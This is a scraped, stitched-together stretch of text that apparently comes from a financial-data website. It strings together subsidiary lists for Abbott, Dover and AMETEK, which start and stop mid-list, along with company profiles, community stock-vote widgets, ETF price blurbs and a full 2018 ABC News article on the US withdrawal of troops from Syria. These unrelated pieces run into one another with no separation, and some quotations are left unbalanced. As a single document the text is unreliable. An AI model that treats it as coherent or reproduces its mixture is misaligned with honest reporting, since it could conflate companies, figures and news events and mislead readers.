Ionian Technologies LLC, Irvine Biomedical Inc., Kalila Medical, Kangshenyunga S.A., Knoll UK Investments Unlimited, LLC VeroInPharm, Laboratoires Fournier S.A.S., Laboratorio Franco Colombiano Lafrancol S.A.S., Laboratorio Franco Colombiano del Ecuador S.A., Laboratorio Internacional Argentino S.A., Laboratorio Synthesis S.A.S., Laboratorios Lafi Limitada, Laboratorios Naturmedik S.A.S., Laboratorios Pauly Pharmaceutical S.A.S., Laboratorios Recalcine S.A., Laboratorios Transpharm S.A., Laboratory Specialists of America Inc., Lafrancol Dominicana S.A.S., Lafrancol Guatemala S.A. Sociedad Anonima, Lafrancol Internacional S.A.S, Lafrancol Peru S.R.L, Lake Forest Investments LLC, Lightlab Imaging Inc., Limited Liability Company Abbott Laboratories, Limited Liability Company Abbott Ukraine, Limited Liability Company VEROPHARM, Lung Fung Hong (China) Limited, Mansbridge Pharmaceuticals Limited, MediGuide LLC, MediGuide Ltd., Medscreen Holdings Limited, Metropolitana Farmaceutica S.A., Midwest Properties LLC, Murex Argentina S.A., Murex Biotech Limited, Murex Biotech South Africa, Murex Diagnostics Inc., Murex Diagnostics International Inc., Natural Supplement Association LLC, Negocios Denia Sociedad Anonima, Neosalud S.A.C., Nether Pharma N.P. C.V., NeuroTherm LLC, Normann Pharma-Handels GmbH, North Shore Properties Inc., Novamedi S.A., Novasalud.com S.A., Nutravida S.A., OJSC Voronezhkhimpharm, Omnilab Iberia Sociedad Limitada, OptiMedica, Orgenics France SAS, Orgenics International Holdings B.V., Orgenics Ltd., PBM-Selfcare LLC, PDD II LLC, PDD LLC, PT Alere Health, PT. Abbott Indonesia, PT. Abbott Products Indonesia, Pacesetter Inc., Pantech (RF) (PTY) LTD, Pembrooke Occupational Health Inc., Penagos S.A., Pharma International Sociedad Anonima, Pharmaceutical Technologies (Pharmatech) S.A., Pharmatech Boliviana S.A., Polygon Labs S.A., Quality Assured Services Inc., RF Medical Holdings LLC, RTL Holdings Inc., Ramses Business Corp., Recben Xenerics Farmaceutica Limitada, Redwood Toxicology Laboratory Inc., Rich Horizons International Limited, SC VEROPHARM, SJ Medical Mexico S de R.L. de C.V., SJM International Inc., SJM Thunder Holding Company, SPDH Inc., Saboya Enterprises Corporation, Salviac Limited, Scanax AS, Sealing Solutions Inc., Selfcare Technology Inc., Shandong Abbott Dairy Product Co. Ltd., Shanghai Abbott Medical Devices Science and Technology Co. Ltd., Shanghai Abbott Pharmaceutical Co. Ltd., Shanghai Si Fa Pharmaceutical Company Limited, Sinensix & Co., Spinal Modulation LLC, St. Jude Medical, St. Jude Medical AB, St. Jude Medical ATG Inc., St. Jude Medical Argentina S.A., St. Jude Medical Asia Pacific Holdings GK, St. Jude Medical Atrial Fibrillation Division Inc., St. Jude Medical Brasil Ltda., St. Jude Medical Business Services Inc., St. Jude Medical Cardiology Division Inc., St. Jude Medical Colombia Ltda., St. Jude Medical Coordination Center, St. Jude Medical Costa Rica Limitada, St. Jude Medical Europe Inc., St. Jude Medical Export Ges.m.b.H., St. Jude Medical GVA Sarl, St. Jude Medical Holdings B.V., St. Jude Medical India Private Limited, St. Jude Medical International Holding, St. Jude Medical LLC, St. Jude Medical Luxembourg, St. Jude Medical Luxembourg Holdings II, St. Jude Medical Luxembourg Holdings NT, St. Jude Medical Luxembourg Holdings SMI S.a r.l., St. Jude Medical Luxembourg Holdings TC S.a r.l., St. Jude Medical Mexico Business Services S. de R.L. de C.V., St. Jude Medical Middle East DMCC, St. Jude Medical Operations (Malaysia) Sdn. Bhd., St. Jude Medical Puerto Rico LLC, St. Jude Medical S.C. Inc., St. Jude Medical Systems AB, St. Jude Medical Turkey Medikal Urunler Ticaret Limited Sirketi, Standard Diagnostics Inc., Standing Stone LLC, Swan-Myers Incorporated, TC1 LLC, Tendyne Holdings Inc., Tendyne Medical Inc., Thoratec Delaware LLC, Thoratec Europe Limited, Thoratec LLC, Thoratec Switzerland GmbH, Tobal Products Incorporated, Topera GmbH in Liquidation, Topera Inc., Tremora S.A., Tuenir S.A., TwistDx, UAB Abbott Laboratories, UAB Abbott Medical Lithuania, Union-Madison Realty Company Inc., Unipath Limited (dba Alere International/aka Cranfield), Unipath Management Limited, Unipath Pension Trustee Limited, Veropharm, Veropharm Limited Liability Partnership, Vida Cell Inversiones S.A., Vida Cell S.A., Vivalsol, W&R Pharma Handels GmbH, Western Pharmaceuticals S.A., X Technologies Inc., Yissum Holding Limited, ZonePerfect Nutrition Company, eScreen Canada ULC, eScreen Inc., ( ), and Abbott Laboratories Baltics. Unum Group is engaged in providing financial protection benefits. It operates through the following segments: Unum US, Unum International, Colonial Life, Closed Block and Corporate. The Unum US segment comprises of group long-term and short-term disability insurance, group life and accidental death and dismemberment products, and supplemental and voluntary lines of business. The Unum International segment engages in the operations of UK business, which includes insurance for group long-term disability, group life, and supplemental lines of business that include dental, individual disability, and critical illness products; Poland business primarily includes insurance for individual and group life with accident and health riders. The Colonial Life segment includes insurance for accident, sickness, disability products, life products, and cancer and critical illness products. The Closed Block segment consists of individual disability, group and individual long-term care, and other insurance products no longer actively marketed. The Corporate segment refers to investment income on corporate assets and other corporate income and expenses not allocated to a line of business; and interest Read More The following companies are subsidiares of Dover: Accelerated Production Systems, Acme Elevator, Advansor A/S, Advansor Dover International (Poland) sp. z o.o, Advansor Germany GmbH, Alfred Fueling Systems Holdco Ltd., Alfred Fueling Systems Inc., Alfred Fueling Systems Intermediate Holdco Ltd., All-Flo Pump Company, Anman LLC, Anthony Equity Holdings Inc., Anthony Holdings Inc., Anthony Inc., Anthony International, Anthony International Foreign Sales Corp., Anthony International Holding Company, Anthony Mexico Holdings LLC, Anthony North Holdco Inc., Anthony Specialty Glass LLC, Anthony TemperBent GP LLC, Auto Glanz Solutions LLC, Automatik Grundstucksverwaltungs GmbH & Co. KG, Automatik Plastics Machinery (Taiwan) Ltd., BSC Filters Limited, Background2 Limited, Belanger, Belanger Inc., Belvac Middle East FZE, Belvac Production Machinery Inc., Blackmer, BlitzRotary GmbH, Butler Engineering and Marketing S.P.A., CDS Visual, CEP Liquidation LLC, CP Formation LLC, CPC Europe Inc., CPI Products Inc., Caldera, Canada Organization & Development LLC, Chief Automotive Technologies (Shanghai) Trading Company Ltd., Chippewa Square Captive Insurance Company, Colder Products Company, Colder Products Company GmbH, Colder Products Company LTD, Cook Compression BV, Cook Compression LLC, Cook Compression Limited, Cook-MFS Inc., DD1 Inc., DDI Properties Inc., DE-STA-CO Benelux B.V., DE-STA-CO FRANCE, DE-STA-CO Shanghai Co. Ltd., DESTACO UK Limited, DFH Corporation, DFS Netherlands B.V., DSR BZ Holdings LLC, Datamax International Corp, De Sta Co (Asia) Company Limited, De-Sta-Co Cylinders Inc., DeStaCo Europe GmbH, Delaware Capital Formation Inc., Delaware Capital Holdings Inc., Dover (China) Investment Co. Ltd., Dover (Schweiz) Holding GmbH, Dover (Shanghai) Industrial Co. Ltd., Dover (Shenzhen) Industrial Equipment Manufacturing Co. Ltd., Dover (Suzhou) Industrial Equipment Manufacturing Co. Ltd., Dover Asia Trading Private Ltd., Dover Australia Holdings Pty Limited, Dover Business Services EMEA Limited, Dover Business Services LLC, Dover Business Services Philippines Corporation, Dover CLP Formation Limited Partnership, Dover CR spol s r.o., Dover Canada Holdings ULC, Dover Canada Operations ULC, Dover Corporation Regional Headquarters, Dover DEI Services Inc., Dover Denmark Holdings ApS, Dover EMEA FZCO, Dover Energy UK Ltd, Dover Engineered Products Segment Inc., Dover Europe Inc., Dover Europe Sarl, Dover Fluids UK Ltd, Dover France Holdings, Dover France Participations, Dover France Technologies, Dover Fueling Solutions Segment Inc., Dover Fueling Solutions UK Limited, Dover Germany GmbH, Dover Global Holdings LLC, Dover Holdings de Mexico S.A. de C.V., Dover Imaging & Identification Segment Inc., Dover India Pvt. Ltd., Dover Intercompany Services UK Limited, Dover International B.V., Dover International Operations Inc., Dover International Ventures Inc., Dover International Ventures Tunisia S.a.r.l., Dover International ithalat ihracat ve Pazarlama Limited Sirketi, Dover Italy Holdings S.r.l., Dover Luxembourg Finance Sarl, Dover Luxembourg Participations Sarl, Dover Luxembourg S.a.r.l., Dover Luxembourg Services Sarl, Dover Operations South Africa (Pty) Ltd, Dover Overseas Ventures Inc., Dover Pumps & Process Solutions Segment Inc., Dover Refrigeration & Food Equipment Segment Inc., Dover Refrigeration & Food Equipment UK Ltd, Dover Resources International de Mexico S. de R.L. C.V., Dover Solutions Colombia SAS, Dover Southeast Asia (Thailand) Ltd., Dover Spain Holdings S.L., Dover UK Pensions Limited, Dover WSCR Holding LLC, Dover WSCR LLC, Dover do Brasil Ltda., Dow-Key Microwave Corporation, Dresser Wayne Data Technology (Shanghai) Co. Ltd., Dresser Wayne Fuel Equipment (Shanghai) Co. Ltd., EOA Systems Inc., Ebs-Ray Holdings Pty Ltd, Ebs-Ray Industries Pty. Ltd., Ebs-Ray Pumps Pty. Ltd., Em-tec, Espy, Ettlinger, Ettlinger Kunststoffmaschinen GmbH, Fairbanks Environmental Limited, Fibrelite Composites Limited, Fibresec Holdings Limited, Fibresec Limited, Finder, GAL LLC, GIIER LLC, Gala Industries, Gala Kunststoff-und Kautschukmaschinen GmbH, Guangdong Tokheim LIYUAN Oil Industry Technology Limited Company, Highland Park Insurance Company, Hill PHOENIX Inc., Hill PHOENIX WIC LLC, Hill Phoenix Costa Rica Sociedad De Responsabilidad Limitada, Hill Phoenix El Salvador Limitada de Capital Variable, Hill Phoenix Guatemala Sociedad Anonima, Hill Phoenix Honduras Sociedad Anonima, Hill Phoenix Nicaragua Sociedad Anonima, Hill Phoenix de Mexico S.A. de C.V., Hiltap Fittings Ltd., Hydro Systems Company, Hydro Systems Europe Ltd., Hydronova Australia-NZ Pty Ltd, Industrial Motion Control LLC, Innovative Control Systems, Innovative Control Systems Inc., Inpro/Seal LLC, JK Group, JK Group S.P.A., JK Group USA Inc., K S Boca Inc., K&L Microwave DR Inc., K&L Microwave Inc., KPS (Beijing) Petroleum Equipment Trading Co Ltd., KPS Fueling Solutions Sdn. Bhd., KPS Hong Kong Holding Limited, KPS UK Limited, KS Formation Inc., KS Liquidation Inc., KSLP Liquidation L.P., Kiian Digital (Shanghai) Co. Ltd., Knappco LLC, Knowles Electronics, LIQAL, Liquip, Liquip International Pty Limited, MAAG, MARKEM FZ SA, MARKEM-IMAJE Corporation, MIP Holdings Inc., MS Printing Solutions, MS Printing Solutions S.R.L., Maag Automatik GmbH, Maag Automatik Plastics Machinery (Shanghai) Co. Ltd., Maag Gala Inc., Maag Italy S.R.L., Maag Pump Systems, Maag Pump Systems (US) Inc., Maag Pump Systems AG, Maag Reduction Inc., Maag Service (Malaysia) Sdn. Bdn., Maag Systems (Thailand) Limited, Marathon Equipment Company (Delaware), Markem Imaje Center of Competencies Spain S.L.U., Markem-Imaje, Markem-Imaje (China) Co. Limited, Markem-Imaje - Unipessoal Lda, Markem-Imaje A/S, Markem-Imaje AB, Markem-Imaje AG, Markem-Imaje AS, Markem-Imaje B.V., Markem-Imaje CSAT GmbH, Markem-Imaje Co. Ltd., Markem-Imaje GmbH, Markem-Imaje Holding, Markem-Imaje Identificacao de Produtos Ltda., Markem-Imaje Inc., Markem-Imaje India Private Limited, Markem-Imaje Industries, Markem-Imaje Industries Limited, Markem-Imaje KK, Markem-Imaje LLC, Markem-Imaje Limited, Markem-Imaje Limited, Markem-Imaje Ltd., Markem-Imaje N.V., Markem-Imaje Oy, Markem-Imaje Philippines Corporation, Markem-Imaje Pty Ltd, Markem-Imaje S.A., Markem-Imaje S.A. de C.V., Markem-Imaje S.r.l., Markem-Imaje SAS, Markem-Imaje Sdn Bhd, Markem-Imaje Singapore Pte. Ltd., Markem-Imaje Spain S.A.U, Markpoint Holding AB, Midland Manufacturing LLC, Mouvex, Northern Lights (Nevada) Inc., Northern Lights Funding LP, Northern Lights Investments LLC, Nova Controls Inc., OK International, OK International (UK) Ltd., OK International Holdings Inc., OK International Inc., OPW Engineered Systems Inc., OPW Fluid Transfer Group Europe B.V., OPW Fluid Transfer Solutions (Jiang Su) Co. Ltd., OPW Fluids Group Inc., OPW France, OPW Fuel Management Systems Inc., OPW Fueling Components (SuZhou) Co. Ltd., OPW Fueling Components LLC, OPW Iberia Sociedad Limitada, OPW Malaysia Sdn. Bhd., OPW Slovakia s.r.o., OPW Sweden AB, Officine Meccaniche Sirio S.R.L., PDQ Manufacturing, PDQ Manufacturing Inc., PISCES by OPW Inc., PSD Codax Holdings Limited, PSD Codax Limited, PSG (Shanghai) Co. Ltd, PSG (Tianjin) Co. Ltd., PSG California LLC, PSG Germany GmbH, Petro Vend Sp. z o.o., Pike Machine Products Inc., Pole/Zero Acquisition Inc., Precision Brasil Equipamentos E Servicos Para Postos De Combustiveis Ltda., Precision Service - Servicos De Manutencao E Instalacao De Postos De Abastecimento De Combustivel Ltda., Production Control Services, Pump Management Services Co. LLC, RAV Equipos Espana S.L., RAV France, Ravaglioli Deutschland GmbH, Ravaglioli S.P.A., Reduction Engineering GmbH, Revod Corporation, Revod Luxembourg S.a.r.l., Revod SAS, Revod Singapore Holdings Pte. Ltd, Revod Sweden AB, Robohand Inc., Rosario, Rosario Handel B.V., Rotary Lift Consolidated (Haimen) Co. Ltd, SE Liquidation LLC, SWEP Germany GmbH, SWEP Malaysia Sdn. Bhd., SWEP North America Inc., SWEP Slovakia s.r.o., SWEP Technology (Suzhou) Co. Ltd., Seabiscuit Motorsports Inc., Simmons Sirvey Corporation, So. Cal. Soft-Pak, So. Cal. Soft-Pak Incorporated, Solaris Laser, Solaris Laser S.A., Somero Enterprises, Sound Solutions, Space S.R.L., Spirit, Start Italiana Petrol Cihazlari Sanayi Ticaret Anonim Sirketi, Start Italiana S.R.L., Swep Energy Oy, Swep International A.B., Swep Japan K.K., Sys-Tech Solutions, Sys-Tech Solutions Inc., Systech GB Limited, Systech Shanghai Consulting Company Limited, TQC Quantium Quality S.A. de C.V., TTSI III Inc., TWG Canada Consolidated Inc., TXHI LLC, Tartan Textile Services Inc., The Heil Co., Tokheim Belgium, Tokheim China Company Limited, Tokheim GmbH, Tokheim Group, Tokheim Hengshan Technologies (Guangzhou) Co. Ltd., Tokheim Holding B.V., Tokheim India Private Limited, Tokheim Sofitam Applications, Trans - Logistic Group S.R.L., Triton Systems, Tulsa Winch Inc., UPCO Inc., US Synthetic, Unattended Payment Solutions LLC, Unified Brands, Unified Brands Inc., Val TemperBent Glass L.P., Vectron Frequency Devices (Shanghai) Co. Ltd, Vehicle Service Group LLC, Vehicle Service Group UK Limited, Vos Food Store Equipment Ltd., WSCR Corp., Warn Automotive LLC, Warn Industries, Waukesha Bearings, Waukesha Bearings Corporation, Waukesha Bearings Limited, Waukesha Bearings Russia LLC, Wayne Fuel Management UK Ltd., Wayne Fueling Systems, Wayne Fueling Systems (Rus) Limited Liability Company, Wayne Fueling Systems Australia Pty Ltd, Wayne Fueling Systems Canada ULC, Wayne Fueling Systems Deutschland GmbH, Wayne Fueling Systems Italia S.R.L., Wayne Fueling Systems LLC, Wayne Fueling Systems Ltd., Wayne Fueling Systems Sweden AB, Wayne Fueling Systems UK Holdco Ltd., Wayne Industria e Comercio Ltda., WellMark, XanTec Steuerungs- und EDV-Technik GmbH, and em-tec GmbH. There is not enough analysis data for Farmers & Merchants Bancorp. 4.3 Community Rank Outperform Votes Farmers & Merchants Bancorp has received 62 outperform votes. (Add your outperform vote.) Underperform Votes Farmers & Merchants Bancorp has received 34 underperform votes. (Add your underperform vote.) Community Sentiment Farmers & Merchants Bancorp has received 64.58% outperform votes from our community. MarketBeat's community ratings are surveys of what our community members think about Farmers & Merchants Bancorp and other stocks. Vote Outperform if you believe FMCB will outperform the S&P 500 over the long term. Vote Underperform if you believe FMCB will underperform the S&P 500 over the long term. You may vote once every thirty days. Previous Next iShares Europe ETF's stock was trading at $37.19 on March 11th, 2020 when Coronavirus reached pandemic status according to the World Health Organization (WHO). Since then, IEV stock has increased by 41.4% and is now trading at $52.59. View which stocks have been most impacted by COVID-19. Mark Wilson/Getty Images (WASHINGTON) -- The Pentagon announced it has started the process of withdrawing 2,000 U.S. troops from Syria, following White House Press Secretary Sarah Sanders' statement declaring victory over ISIS. Earlier on Wednesday, U.S. officials indicated that President Donald Trump would announce he was pulling U.S. troops out of Syria, though a timeline for the pace of withdrawal has not yet been set. Five years ago, ISIS was a very powerful and dangerous force in the Middle East, and now the United States has defeated the territorial caliphate. These victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign," Sanders said. "We have started returning United States troops home as we transition to the next phase of this campaign. The United States and our allies stand ready to re-engage at all levels to defend American interests whenever necessary, and we will continue to work together to deny radical Islamist terrorists territory, funding, support, and any means of infiltrating our borders. Despite those claims about ISIS being "defeated," Chief Pentagon Spokesperson Dana White said in a statement on Wednesday that the campaign against ISIS was "not over." "The Coalition has liberated the ISIS-held territory, but the campaign against ISIS is not over," White said. "We have started the process of returning U.S. troops home from Syria as we transition to the next phase of the campaign. For force protection and operational security reasons we will not provide further details. We will continue working with our partners and allies to defeat ISIS wherever it operates." A separate U.S. official told ABC News the withdrawal would be dependent on the security environment for the American units, so that it's safe for them to leave. Defense Secretary James Mattis has not yet signed the official orders that would trigger the actual withdrawal, that official said, though they have been drafted by the Joint Staff. The State Department is already beginning to pull out the dozen U.S. diplomats from Syria who were running programs to stabilize areas liberated from ISIS, another U.S. official said. The president's move comes after his phone call Friday with Turkey's President Recep Tayyip Erdogan, as well as Erodogan's statement that Turkey would launch a military operation against U.S.-backed Kurdish fighters in northeast Syria "within a few days." According to a senior Turkish official, Trump told Erdogan during that call that he was planning to pull U.S. troops out of Syria. An official told ABC News that the call made it clear that Trump never bought into the idea of keeping U.S. troops in Syria, despite officials believing they had convinced him otherwise. While Erdogan and other world leaders such as Israel's Benjamin Netanyahu were alerted to the president's impending decision earlier, some top U.S. officials were unaware until Tuesday. Later on Wednesday, the State Department also announced an intended $3.5 billion sale of the U.S. Patriot missile system to Turkey. There are about 2,000 U.S. troops in eastern Syria advising and assisting the Kurdish-led Syrian Democratic Forces (SDF) in the fight against ISIS. The first U.S. troops arrived in Syria under the Obama administration in October 2015. The original force of 50 U.S. advisers grew to an official level of more than 500, though it actually grew beyond that figure to approximately 2,000 over the following year. Arriving at the Pentagon on Wednesday for meetings with Mattis and other top military officials, Vice President Mike Pence ignored shouted questions from reporters about the possible withdrawal. Trump tweeted Wednesday morning that ISIS has been "defeated," saying it was "my only reason for being there during my presidency." But State Department and Pentagon officials have cautioned as recently as last week that the fight against ISIS is not over -- with the coalition recently estimating that about 2,000 ISIS fighters remain in Syria. "Even as the end of the physical caliphate is clearly now coming into sight, the end of ISIS will be a much more long-term initiative," Brett McGurk, special presidential envoy for the global coalition to defeat ISIS, said at a State Department briefing last week. "Weve talked about that many times. Nobody working on these issues day to day is complacent. Nobody is declaring a mission accomplished." A Department of Defense spokesperson told ABC News in a statement last Wednesday that "the campaign against ISIS is not over" as U.S. and SDF forces continue offensive operations against ISIS in the Middle Euphrates River Valley near the city of Hajin. "We should not and cannot allow ISIS to breathe at this critical point or we will jeopardize the significant gains we have made alongside our Coalition partners and risk allowing ISIS to resurge," the spokesperson said. One of Trump's usual allies on Capitol Hill, South Carolina Republican Senator Lindsey Graham, was quick to criticize the president' move as an "Obama-like mistake." If these media reports are true, it will be an Obama-like mistake made by the Trump Administration. While American patience in confronting radical Islam may wane, the radical Islamists passion to kill Americans and our allies never wavers," Graham said in a statement. An American withdrawal at this time would be a big win for ISIS, Iran, Bashar al Assad of Syria, and Russia. I fear it will lead to devastating consequences for our nation, the region, and throughout the world," Graham said. In March, Trump caught most senior members of his administration off guard when he publicly announced his intention to withdraw U.S. troops from Syria like, very soon, sending officials scrambling to square the presidents declaration with U.S. policy. The decision to withdraw U.S. forces comes at a moment of rising tensions between the U.S. and Turkey in northeast Syria. Last week, the Pentagon announced it had established observation posts in northeast Syria near the Turkish border because the U.S. wanted to warn the Turks of individuals moving in that area, namely Kurdish fighters who belong to a force that Turkey considers to be an element of a terrorist group. But some of those Kurdish fighters also serve in the U.S.-backed SDF. In the past, skirmishes between Turkey and the Kurds along the Turkish-Syrian border drew Kurdish fighters away from the final offensive against ISIS, even causing the U.S.-backed fighting force to suspend their operations for a short time. "The argument can be made that -- by leaving Syria -- we have placed our allies, the Kurds, at greater risk of being targeted by Turkey," said ABC News contributor John Cohen, the former acting undersecretary for intelligence and a former counterterrorism coordinator at the Department of Homeland Security. In addition to Trump telling Erdogan he was going to pull U.S. troops out of Syria, the two leaders also spoke about Turkey's security concerns there, according to a readout of that conversation the White House released on Friday. "The Presidents agreed to continue coordinating to achieve our respective security objectives in Syria," the readout continued. Copyright 2018, ABC Radio. All rights reserved. Intesa Sanpaolo S.p.A. provides various financial products and services primarily in Italy. It operates through Banca dei Territori, IMI Corporate & Investment Banking, International Subsidiary Banks, Asset Management, Private Banking, and Insurance segments. The company offers lending and deposit products; corporate, investment banking, and public finance services; industrial credit, factoring, and leasing services; asset management solutions; life and non-life insurance products; and bancassurance and pension fund, and fiduciary services. It also provides consumer credit, e-money, and payment systems; wealth management and private banking services. The company serves individuals, small and medium-sized businesses, non-profit entities, corporates and financial institutions, private clients and high net worth individuals, institutional counterparties, and other customers. The company is headquartered in Turin, Italy. Read More Shares of iShares Gold Trust reverse split before market open on Monday, May 24th 2021. The 1-2 reverse split was announced on Wednesday, March 3rd 2021. The number of shares owned by shareholders was adjusted after the closing bell on Friday, May 21st 2021. An investor that had 100 shares of iShares Gold Trust stock prior to the reverse split would have 50 shares after the split. iShares MSCI Australia ETF's stock was trading at $17.46 on March 11th, 2020 when Coronavirus reached pandemic status according to the World Health Organization (WHO). Since then, EWA shares have increased by 41.6% and is now trading at $24.72. View which stocks have been most impacted by COVID-19. Bausch Health Companies Inc. develops, manufactures, and markets a range of pharmaceutical, medical device, and over-the-counter (OTC) products primarily in the therapeutic areas of eye health, gastroenterology, and dermatology. The company operates through four segments: Bausch + Lomb/International, Salix, Ortho Dermatologics, and Diversified Products. The Bausch + Lomb/International segment offers products with a focus on the vision care, surgical, and consumer and ophthalmology Rx products in the United States; and Solta products, branded and generic pharmaceutical products, OTC products, and medical device products, and Bausch + Lomb products in Canada, Europe, Asia, Australia, Latin America, Africa, and the Middle East. The Salix segment provides gastroenterology products in the United States. The Ortho Dermatologics segment offers dermatological products in the United States; and Solta medical aesthetic devices internationally. The Diversified Products segment provides pharmaceutical products in the areas of neurology and other therapeutic classes, as well as generic and dentistry products in the United States. The company was formerly known as Valeant Pharmaceuticals International, Inc. and changed its name to Bausch Health Companies Inc. in July 2018. Bausch Health Companies Inc. is headquartered in Laval, Canada. Read More Medtronic Plc is a medical technology company, which engages in the development, manufacture, distribution, and sale of device-based medical therapies and services. It operates through the following segments: Cardiac and Vascular Group; Minimally Invasive Technologies Group; Restorative Therapies Group; and Diabetes Group. The Cardiac and Vascular Group segment consists of products for the diagnosis, treatment, and management of cardiac rhythm disorders and cardiovascular disease. The Minimally Invasive Technologies Group segment focuses on respiratory system, gastrointestinal tract, renal system, lungs, pelvic region, kidneys, and obesity diseases. The Restorative Therapies Group segment comprises of neurostimulation therapies and drug delivery systems for the treatment of chronic pain, as well as areas of the spine and brain, along with pelvic health and conditions of the ear, nose, and throat. The Diabetes Group segment offers insulin pumps, coninuous glucose monitoring systems, and insulin pump consumables. The company was founded in 1949 and is headquartered in Dublin, Ireland. Read More CoreLogic, Inc., together with its subsidiaries, provides property information, insight, analytics, and data-enabled solutions in North America, Western Europe, and the Asia Pacific. The company operates in two segments, Property Intelligence & Risk Management Solutions (PIRM) and Underwriting & Workflow Solutions (UWS). The PIRM segment combines property information, mortgage information, and consumer information to deliver housing market and property-level insights, predictive analytics, and risk management capabilities. It also offers proprietary technology and software platforms to access, automate, or track the information and assist its clients with decision-making and compliance tools in the real estate and insurance industries. This segment primarily serves commercial banks, mortgage lenders and brokers, investment banks, fixed-income investors, real estate agents, MLS companies, property and casualty insurance companies, title insurance companies, government agencies, and government-sponsored enterprises. The UWS segment combines property, mortgage, and consumer information to provide comprehensive mortgage origination and monitoring solutions, including underwriting-related solutions, and data-enabled valuations and appraisals. This segment also provides proprietary technology and software platforms to access, automate, or track the information and assist its clients with vetting and onboarding prospects, and meeting compliance regulations, as well as understanding, evaluating, monitoring property values. It primarily serves mortgage lenders and servicers, mortgage brokers, credit unions, commercial banks, fixed-income investors, government agencies, and property and casualty insurance companies. The company was formerly known as The First American Corporation and changed its name to CoreLogic, Inc. in June 2010. CoreLogic, Inc. was incorporated in 1894 and is headquartered in Irvine, California. Read More There is not enough analysis data for Eaton Vance Tax-Advantaged Global Dividend Income Fund. 4.3 Community Rank Outperform Votes Eaton Vance Tax-Advantaged Global Dividend Income Fund has received 115 outperform votes. (Add your outperform vote.) Underperform Votes Eaton Vance Tax-Advantaged Global Dividend Income Fund has received 65 underperform votes. (Add your underperform vote.) Community Sentiment Eaton Vance Tax-Advantaged Global Dividend Income Fund has received 63.89% outperform votes from our community. MarketBeat's community ratings are surveys of what our community members think about Eaton Vance Tax-Advantaged Global Dividend Income Fund and other stocks. Vote Outperform if you believe ETG will outperform the S&P 500 over the long term. Vote Underperform if you believe ETG will underperform the S&P 500 over the long term. You may vote once every thirty days. Previous Next The following companies are subsidiares of AMETEK: AMETEK CTS GmbH, AMETEK Germany GmbH, AMETEK Hong Kong Private Limited, AMETEK Instruments Group UK Limited, AMETEK Italia S.r.l., Amekai Singapore Private Ltd., Amekai Taiwan Co. Ltd., Haydon Linear Motors (Changzhou) Co. Ltd., SPECTRO Analytical Instruments Inc., Tubes Holdco Limited, AEM Limited, AIP/MPM Funding Inc., AIP/MPM Holdings Inc., AMESP USVI LLC, AMETEK (Barbados) SRL, AMETEK (Bermuda) Ltd., AMETEK (GB) Limited, AMETEK (Thailand) Co. Ltd., AMETEK Aegis Inc., AMETEK Aerospace & Defense Group UK Ltd, AMETEK Aerospace & Power Holdings Inc., AMETEK Aerospace LLC, AMETEK Aircraft Parts & Accessories Inc., AMETEK Airtechnology Group Limited., AMETEK Ameron LLC, AMETEK Arizona Instrument LLC, AMETEK B.V., AMETEK CTS Europe GmbH, AMETEK CTS US Inc., AMETEK Canada 2 ULC, AMETEK Canada 3 ULC., AMETEK Canada Limited Partnership, AMETEK Co. Ltd., AMETEK Commercial Enterprise Shanghai, AMETEK Costa Rica Sociedad De Responsabilidad Limitada, AMETEK Customer Service S. de R. L. de C.v., AMETEK DE LLC, AMETEK DELCO Inc., AMETEK Denmark A/S, AMETEK Do Brasil Ltda., AMETEK EMG Holdings Inc., AMETEK Elektromotory s.r.o, AMETEK Engineered Materials Sdn. Bhd., AMETEK Europe L.L.C., AMETEK European Holdings GmbH, AMETEK European Holdings Limited, AMETEK Finland Oy, AMETEK Global Tubes LLC, AMETEK Grundbesitz GmbH, AMETEK HSA Inc., AMETEK Haydon Kerk Inc., AMETEK Holdings B.V. also registered as AMETEK Holdings B.V. Delaware Inc.1, AMETEK Holdings SARL, AMETEK Holdings de Mexico S. de R.L., AMETEK Hughes-Treitler, AMETEK Industrial Technology (Shanghai) Co. Ltd., AMETEK Instrumentos S.L., AMETEK Instruments India Private Limited, AMETEK Korea Co. Ltd., AMETEK Lamb Motores de Mexico S. de R.L. de C.V., AMETEK Land Inc., AMETEK Latin America Holding Company S.a r.l., AMETEK MRO Florida Inc., AMETEK Material Analysis Holdings GmbH, AMETEK Mexico Holding Company LLC, AMETEK Motors Asia Pte. Ltd., AMETEK Nordic AB, AMETEK PIP Holdings Inc., AMETEK Precitech Inc., AMETEK Programmable Power Inc., AMETEK S.A.S., AMETEK S.r.l., AMETEK SCP (Barrow) Limited, AMETEK SCP Inc., AMETEK Singapore Private Ltd., AMETEK Taiwan Co. Ltd., AMETEK Technical & Industrial Products Inc., AMETEK Thermal Systems Inc., AMETEK d.o.o. Subotica., Abaco Systems, Advanced Industries, Advanced Measurement Technology Inc., Aero Components International Corp., Airtechnology Pension Trustees Limited, Akron Standard Bestry (Guangzhou) Measurement Equipment Co. Ltd., Amekai (BVI) Ltd., Amekai Meter (Xiamen) Co. Ltd., Ameron Global Inc, Ametek Advanced Industries Inc., Ametek-Reading Alloys Inc., Amptek Inc., Antavia SAS, Atlas Material Holdings Corporation, Atlas Material Testing Technology (India) Private Limited, Atlas Material Testing Technology BV, Atlas Material Testing Technology GmbH, Atlas Material Testing Technology L.L.C., Atlas Material Testing Technology LLC, Atlas Netherlands AcquisitionCo Cooperatief U.A., Avicenna Technology Inc., Avtech Avionics & Instruments LLC, B&S Aircraft, Brookfield Engineering, CAMECA Instruments Inc., CAMECA SAS, Cameca, Chandler Instruments Company L.L.C., Chandler Instruments Company LLC, Cognex - Surface Inspection Systems Division, Coining Holding Company, Coining Inc., Controls Southeast Inc., Crank, Creaform, Creaform Inc., Creaform Shanghai Ltd., Creaform Software Inc., Creaform U.S.A. Inc., Crystal Engineering Corp, Crystal Engineering Corporation, Direl GmbH, Direl Holding GmbH, Drake Air, Drake Air Inc., Drexelbrook Engineering Company, Dunkermotoren GmbH, Dunkermotoren Taicang Co. Ltd., Dunkermotoren USA Inc., EDAX Inc., EDAX LLC, EGS Automation, EMA Corp., EMA Finance 1 LLC, EMA Finance 2 LLC, EMA Holdings LLC, EMA Holdings UK Limited, EMA MX LLC, EMtest, ESP Holdco Inc., ESP/SurgeX, Electronic Systems Protection Inc., FMH Aerospace Corp., FMH Holdings Corp., FMH Intermediate LLC, Fine Tubes Limited, Forza Silicon Corporation, Frameflair Limited, GS Electric, Gatan, Gatan Inc., Gatan Service Corporation, Gatan U.K. Limited, Glasseal Products Inc., Global Tubes, Grabner Instruments Messtechnik Gesellschaft m.b.H., HCC Industries Inc., HDR Power Systems LLC, HS Foils Oy, Hamilton 